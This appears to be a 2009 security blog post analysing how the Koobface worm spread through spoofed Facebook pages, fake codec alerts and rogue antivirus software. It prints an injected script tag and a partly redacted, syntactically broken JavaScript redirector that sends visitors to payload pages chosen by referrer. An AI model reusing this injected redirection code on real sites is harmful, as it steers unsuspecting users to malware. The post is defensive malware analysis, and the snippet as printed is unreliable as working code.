Monday, August 10, 2009

Facebook: Rogue AV Farm?

There has been enormous movement related to koobface lately and it has been mostly driven by social networking websites such as Facebook, Tagged, Myspace, Twitter, and many others.

One social networking website that probably tops the list of sites used as attack vectors is Facebook.

Here's a screenshot of a spoofed Facebook website:


We are presented by a fake codec alert and unsuspecting users usually download and install the Koobface malware:


We have seen koobface being hosted on kukuruku-290709(dot)com, but thanks to the all good guys out there this site has been taken down. But the bad guys have responded and are now using legitimate domains and redirections to serve koobface. We have seen a small patch of code on websites used in the redirection:

wrttnsvqnayay qrqgtlzac
script src ="4fc . js" // edited
qsmypwqmoj bbaspbrq

The strings are random, and so are the names of the javascript files being executed.

Here's what the javascript file has to offer:

var abc1 = '';
var abc2 = '';
var ss = '' +;
if ((>0) abc = abc1; else abc = abc2;
var redirects = [
['', abc+'fb.php'],
['', abc+'tg.php'],
['', abc+'ms.php'],
['', abc+'ms.php'],
['', abc+'fu.php'],
['', abc+'tw.php'],
['', abc+'hi5.php'],
['', abc+'be.php']
var s = '' + document.referrer, r = false;
for (var i = 0; i 0) redir=redir+'&domain='; else redir=redir+'?domain=';
location.href = redir;
r = true;
if (!r) location.href = abc+'index.php'+;

Since the domain kukuruku-290709(dot)com has been brought down already, we'll soon most likely see new ones emerge to host koobface.

One of the payloads of koobface is downloading other malware, and currently it is serving the fake  AV called System Security.


A few weeks prior to today, there has been a lot of buzz about Facebook's Farm Town app serving up Rogue AVs. And recently Facebook is once-again associated with Rogue AVs. Clearly, the bad guys behind these attacks are tyring to make quick bucks by promoting scareware. And of course by using techniques such as Social Engineering , malware and scareware spread rather quickly and easily, because attackers can hide behind the names of even the people we trust.

Take extreme care when viewing emails, tweets, comments or posts. Even if they came from people we know.

1 comment:

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